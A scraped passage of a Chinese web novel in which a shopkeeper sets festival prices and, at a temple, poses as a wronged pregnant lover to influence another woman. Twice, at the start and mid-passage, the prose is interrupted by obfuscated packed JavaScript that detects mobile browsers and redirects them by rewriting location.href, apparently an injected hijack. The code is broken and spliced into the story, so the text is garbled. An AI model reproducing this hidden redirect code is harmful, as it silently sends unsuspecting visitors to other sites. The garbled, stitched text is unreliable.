;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16450487|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能平衡好情义与利益。 程虞眼睛一亮，率先开口：“沈姐姐，咱们得分开算！普通的芝麻元子配豆浆底，算是基础款，定价亲民，走量。加了豆乳浮云的，费那么大劲，得加钱！竹筒本身也能算点钱，就当是租给客人的，用完了若还回来，还能退他几文，这样竹筒也能反复用。” 张澈随后提议：“掌柜的，我以为，基础搭配的价格不宜过高，要让街坊们觉得咱们芙蓉盏即使开了新花样，也依旧实在。可以设个套餐，比如一份竹筒配十颗元子是一个价，加不同茶底再加钱，让客人自己选，明明白白。” 大双兴奋地搓手：“要我说，咱们得给这些搭配起个响亮的名头！比如普洱茶配各种元子，叫步步高升，桂花酒酿配玫瑰元子，叫花开富贵。价格嘛，可以比单点稍微便宜一点，让人觉得划算！我和小双就到门口吆喝去，保准吸引人！” 小双接着大双的话，补充了更多细节：“对对对！咱们还得做几个小水牌，把套餐名字和价钱写得清清楚楚，挂在最显眼的地方。不然人多了一问，咱们该忙不过来了。” 见众人讨论热烈，各有见地，沈芙蕖便越来越觉得宽慰。她最后拍板，博采众长： “便依你们所言。基础款定价要亲民，特色款可略高，再设两三种套餐，明码标价。程虞负责统账和推荐特色，张澈把控食材和基础出品，大小双负责招呼客人、介绍套餐。此番盈亏，皆系于尔等之手了。” 程虞说：“掌柜的，咱们的外卖也得考虑到呢，元宵节当天，我们几个是走不开了，不如从草市坊寻几个孩子，组个队，替我们送。” 沈芙蕖自然点头答应。她说：“元宵节当天，这芙蓉盏的生意便交给你们了，还是和往常一样，给你们算提成。” 程虞把做好的竹筒挨个检查，看看有没有毛刺，听到这有些兴奋，也有些疑惑：“沈姐姐是元宵节有事嘛？” 沈芙蕖含笑道：“是的，我准备去一趟相国寺求平安。” 相国寺灵验，平日香客众多，更别提逢年过节，远远望去，香火极盛，像是着了火一般。 沈芙蕖要去那里求平安，自然也没人觉得奇怪。 元宵节当天，沈芙蕖刻意穿得艳丽，绯色褥裙，外罩一件青莲色大氅，头上则是被能用上的钗子簪子填满了，又多此一举戴了顶及腰的薄纱帷帽。 其实元宵节当天，气温回升，已有不少爱美的小娘子换上了更轻薄的小袄，更能彰显腰肢，像沈芙蕖这般恨不得把所有昂贵之物戴在身上的浮夸女子，当真引人注目。 相国寺内，人流如织。善男信女们在佛像前虔诚叩拜，各个脸上写满了希冀，将香插入香炉里。 沈芙蕖不去大殿，而是揣着几支香，在送子观音的偏殿来回走动。 没过多久，来了个同样戴着帷帽的女子，身着料子极好的浅杏色绣缠枝梅纹袄裙，虽看不清面容，但身姿娇弱，由一个小丫鬟小心翼翼地搀扶着。 58. 第五十八章 沈芙蕖一眼便看见了她高高隆起的腹部，因是临近生产，这身形单薄的姑娘动作显得费劲，单手艰难撑着腰部，另一只手小心搀扶着丫鬟。 “娘子小心……”身旁丫鬟替她摆好蒲团，拿一侧膝盖试了软硬，然后又垫了一层软垫，那丫鬟也带着薄薄面纱，衣服看不出什么特色，乍一听还有外地口音，并不是土生土长的汴京人。 沈芙蕖立刻便确定了她的身份。 胡二娘子。 见她跪在了右侧，沈芙蕖立刻走向旁边的蒲团，原本蒲团上跪着的女子还未起身，便被沈芙蕖矫揉造作地推开了。 “好了没，跪这么久，没看见后面还排着呢，你求这么多，菩萨哪里记得住。”沈芙蕖不客气道，一腿已是跪了下来，另一条腿顺势将女子捣开。 那女子气不打一出来，刚要发作，看见沈芙蕖通身的气派，隔着帷幔横眉冷对的脸，那一双红艳艳嚣张的唇，明明自己什么也没做错，气势上却矮了沈芙蕖一截，便把到嘴的话咽回去了。 “脑子不好。”女子起身白了沈芙蕖一眼，一副懒着和她计较的样子，临走时气呼呼瞪着她。 沈芙蕖装作看不见，她拂起衣袖，宽大的衣袍抖起一阵风来，像只花里胡哨的蝴蝶一般叩了下来，头上的钗子伴随着幅度丁零当啷响。 饶是胡二娘子教养再好，也忍不住朝沈芙蕖这边看来，见沈芙蕖单身一人，又难免朝殿外望去，殿外三三两两的，都是结伴而来的夫妻。 胡二娘子收回目光，暗自叹了口气，也是，求子嘛，要么是婆媳，要么是夫妻一同前来，哪有像自己这样的，独身前来。 不过，旁边的女子似乎也是独自一人，她连个丫鬟也没有。胡二娘子便对她多了几分好奇，心中顿亦生几分同病相怜之意。 沈芙蕖双手合十，紧闭双眼，模样倒是十分虔诚，只见她念念有词：“保佑我为彦郎成功生下一子……” 听到“彦郎”二字，原本已经拜了三拜正要离开的胡二娘子，感觉整个人血液都凝固住了。 许是巧合吧，胡二娘子惨白着小脸，惊魂未定地将目光下移到沈芙蕖的小腹。她穿的大氅那么厚，倒是看不出什么起伏，可这说明不了什么，自己也是到了五个月才显怀的。 沈芙蕖慢吞吞站了起来，朝香火箱里珍重塞了些钱，她似乎下了很大决心，又把头上的金钗拿下来，犹豫片刻，还是一同放进了香火箱里。 胡二娘子指尖在袖中微微发颤，她由丫鬟搀着起身，步履蹒跚地走到沈芙蕖面前，隔着帷帽轻声道：“这位姐姐请留步。方才在殿中听得姐姐祝祷，与信女所求相同。想必是菩萨指引，让你我在此相遇。” 沈芙蕖听了，粗嘎一笑：“你这位小娘子倒是有趣，这是送子菩萨殿，来这跪拜的，要么求菩萨送子，要么企盼腹中孩儿平安。可不全部与你所求相同？” 胡二娘子立刻红了脸，一时间不知如何作答，还是丫鬟解围道：“我们娘子的意思是，她瞧着您有眼缘，又同怀着孩儿，想同您结交，分享些育儿经。” 沈芙蕖在帷帽后挑眉，目光敞亮：“原来是这样……那自然是好的。” 胡二娘子立刻道：“这里人多眼杂，不如一同前去禅房饮一杯清茶。” 二人便转入相国寺后院禅房。小丫鬟立刻把禅房门掩了，沈芙蕖略显紧张站了起来，结结巴巴道：“……你们突然关门干什么……” 胡二娘子忙说：“姐姐别害怕，我不是歹人。相国寺这么多人，姐姐随便扯一嗓子便有人问询了，况且……” 她指了指自己的肚子：“我大着肚子，又能对你做什么呢。” 沈芙蕖这才半信半疑坐下来，两人心照不宣般都没有掀起头上的帷幔。 沈芙蕖把茶盏端在手里，轻轻吹了口浮沫，但没敢喝一口，还是作出谨慎胆小的样子，问道：“听口音，妹妹也不像是本地人。” “我祖籍鄂州，四年前随父官迁才来的东京。”胡二娘子柔声答道。 沈芙蕖头一扬，黑色的薄纱帷幔在脖子上轻轻摩擦，语气里含了三分惊喜。 “当真？我也是鄂州人！” 胡二娘子也有些讶异，小心翼翼试探道：“姐姐是否也时常想念鄂州风味……” 沈芙蕖粗鲁打断她的话：“那是自然！我天天想着吃稻饭和鱼羹，东京人喜食面，我们鄂州爱吃粉，我吃不惯。” 胡二娘子听她这么说，当下有了七八分的信任，也越发觉得沈芙蕖亲切起来，她细声细语道：“那么，姐姐怎么来的汴京呢。” 沈芙蕖腮帮子一鼓，把茶盏把桌上一丢，整个人往椅背倾斜，毫无顾忌跷着二郎腿，语气也不大友善：“不想说……” 胡二娘子轻轻叹了口气，不自觉地摸上自己的肚子，想起自己的伤心事，便道：“那便不说……敢问姐姐肚里的孩儿多大了呢。” “估摸着三四个月。”沈芙蕖说，语气也越来越不耐烦。 这一句话，小丫鬟听出了不对劲，三个月便三个月，四个月就是四个月，哪有当了母亲的，连月份都搞不清楚。 除非根本就没请大夫来瞧过。 再看看沈芙蕖的打扮，根本不像正经人家的女子，张扬肤浅不说，说话间还自然流露出一种媚态，小丫鬟当即对她多了几分鄙夷。 就在这时，沈芙蕖哈哈笑了两声，满不在乎道：“妹妹，我不像你，锦衣玉食养着，又怀了孕，想来娘家夫家都当金疙瘩捧着。实不相瞒，我此番入京，是要给我肚里的孩儿讨个名分！” 此言一出，胡二娘子主仆都是大惊失色，一方面震惊于沈芙蕖的坦荡，另一方面则是听到了如此雷同又惊世骇俗的情节。 “怎么，吓到你们这些养在深闺的女子了？反正我们又不认识，我便说与你听……” 沈芙蕖陷入回忆时，不自觉增加了些小女儿的娇羞，将她与“彦郎”如何相识、相爱经历讲了一遍。 在说到自己如何被负心汉抛弃时，沈芙蕖亦是说得声情并茂，让人闻之落泪。 胡二娘子一边听，一边拿手绢拭泪，却也渐渐放下心，在沈芙蕖的描述中，这个“彦郎”出身商贾，年龄、相貌皆和韩彦对不上。 可两人的遭遇是一模一样呀！ 都是被男人花言巧语骗去了身子，肚子里的孩子连名份都没有。 胡二娘子越想越伤心，拉着沈芙蕖冰凉的手便小声啜泣起来：“姐姐，你太不容易了……” 沈芙蕖反握住了她的手，爽朗一笑：“我不容易，便要他也不容易！他潇洒快活二十多年，祸害了那么多小娘子，所以，活该碰上我，我就是他的报应！” 胡二娘子主仆对视一眼，暗自摇头，这女子，莫不是被抛弃后得了失心疯吧？ 沈芙蕖站起来，围着禅房的桌子绕走一圈，快意拍手道：“他穿上裤子就这样走了？他说不能娶就不能娶了？作为男人，最基本的要对自己的孩子负责吧？我便是死，也要死在他家门口，让全汴京知道他是个什么德行！还有没有姑娘，敢嫁进他家！” 胡二娘子听了，极受震撼，坐也坐不住了，她跟在沈芙蕖后面，还险些踩到她的裙摆。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16455028|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐快别说了！这让外人听到了，可害臊死了！” 沈芙蕖“咦”了一声，不满地瞥她一眼，找了个软垫重新坐了下来。 “我不害臊，该害臊的是他！背信弃义，骗我感情，霸我身子，无耻之徒！我知道有人会骂我不知廉耻，我压根不在乎……” 胡二娘子又问：“那姐姐找到你那彦郎，该做何打算呢？” 沈芙蕖笑道：“其实我已经找到了……可我一个弱女子手无缚鸡之力，若是现在上门讨说法，也许连腹中的孩子也保不住。等到孩子生下来，我再上门讨说法！我一定要他明媒正娶，给我和孩子一个交代，然后……我再和他和离！我就要搅得他家天翻地覆！” “可若是他咬死不同意，还朝你泼脏水呢？” 沈芙蕖得意道：“那我便把他给我写的信儿，印上十万份，满汴京撒！” 胡二娘子咬着唇，眼泪汪汪，可眼前不断浮现出这位娘子报复成功的得意样子。 她也想这般潇洒！ 到底是她没用！ 起先她还以为自己有了身孕，韩家便会来提亲。 可没想到，韩彦一口咬定这孩子与他无关，他母亲更是将她一顿羞辱。 她每天都躲在府里哭，眼睛都要哭烂了。 爹爹为了她的事，气坏了身子，娘为了替她讨说法，豁出去老脸，还吃了闭门羹，受了好一顿屈辱。 当初哄骗她时，甜言蜜语犹在耳边。纵使知道他声名狼藉，也只当是外人不了解他下的定论。 谁知他翻脸比翻书还快！ 如果可以回到从前，她绝对不会再受韩彦蛊惑！ “姐姐，你……倒是听我一句劝，趁这孩子月份还小，不如抓两副药，落了吧……认清那男子负心薄幸的样子，就当长个教训……”胡二娘子言辞恳切。 沈芙蕖沉默半晌，仰天长叹：“晚了，郎中说，若是强行落胎，我自己的性命都可能保不住。” 胡二娘子一听，又低低哭了起来：“这都是命……都是命……” 沈芙蕖义愤填膺道：“所以我说了，我便是他的报应。我也不光为了我自己，我若不站出来，还不知道有小娘子被他祸害呢！” 胡二娘子看沈芙蕖的眼神越来越崇拜，自己也燃起一层希望，丫鬟见形势不对，赶紧提醒道：“姑娘，您可别听这女疯子胡言乱语，咱可丢不起那人……快走吧，夫人还在寺外等我们呢……” 沈芙蕖又道：“贱男人种下的苦果，怎么要我们女人独自承受？再不济，总要为肚里的孩子考虑，难道一辈子当个私生子？！” “快走快走，娘子我们回去……”小丫鬟见胡二娘子置若罔闻，便将恍恍惚惚的她往门外推去。 “他们家一直看不上我！姑奶奶便要他们知道我的厉害！！！” 沈芙蕖还在禅房内囔着，胡二娘子走出门很久了还听见她的声音在耳旁萦绕。 待主仆二人坐上轿辇，丫鬟还不满道：“相国寺也不管管，疯子也放进来……娘子受惊了吧？” 胡二娘子轻轻摇头，说道：“我倒觉得……她一点也不疯……” 沈芙蕖出了相国寺，才把帷幔取下来，正好赶上一辆马车往相国寺送吃食。 只见从马车上跳下来三个眼熟的半大小子，手里提着竹筐，整整齐齐码放着自家的浮圆子。 “掌柜的！”一个小伙见到沈芙蕖，高高兴兴报喜：“芙蓉盏的浮圆子卖疯啦！相国寺一下买了八十盏，后面还有一辆马车呢。” 沈芙蕖也喜出望外，跟着马车回了芙蓉盏。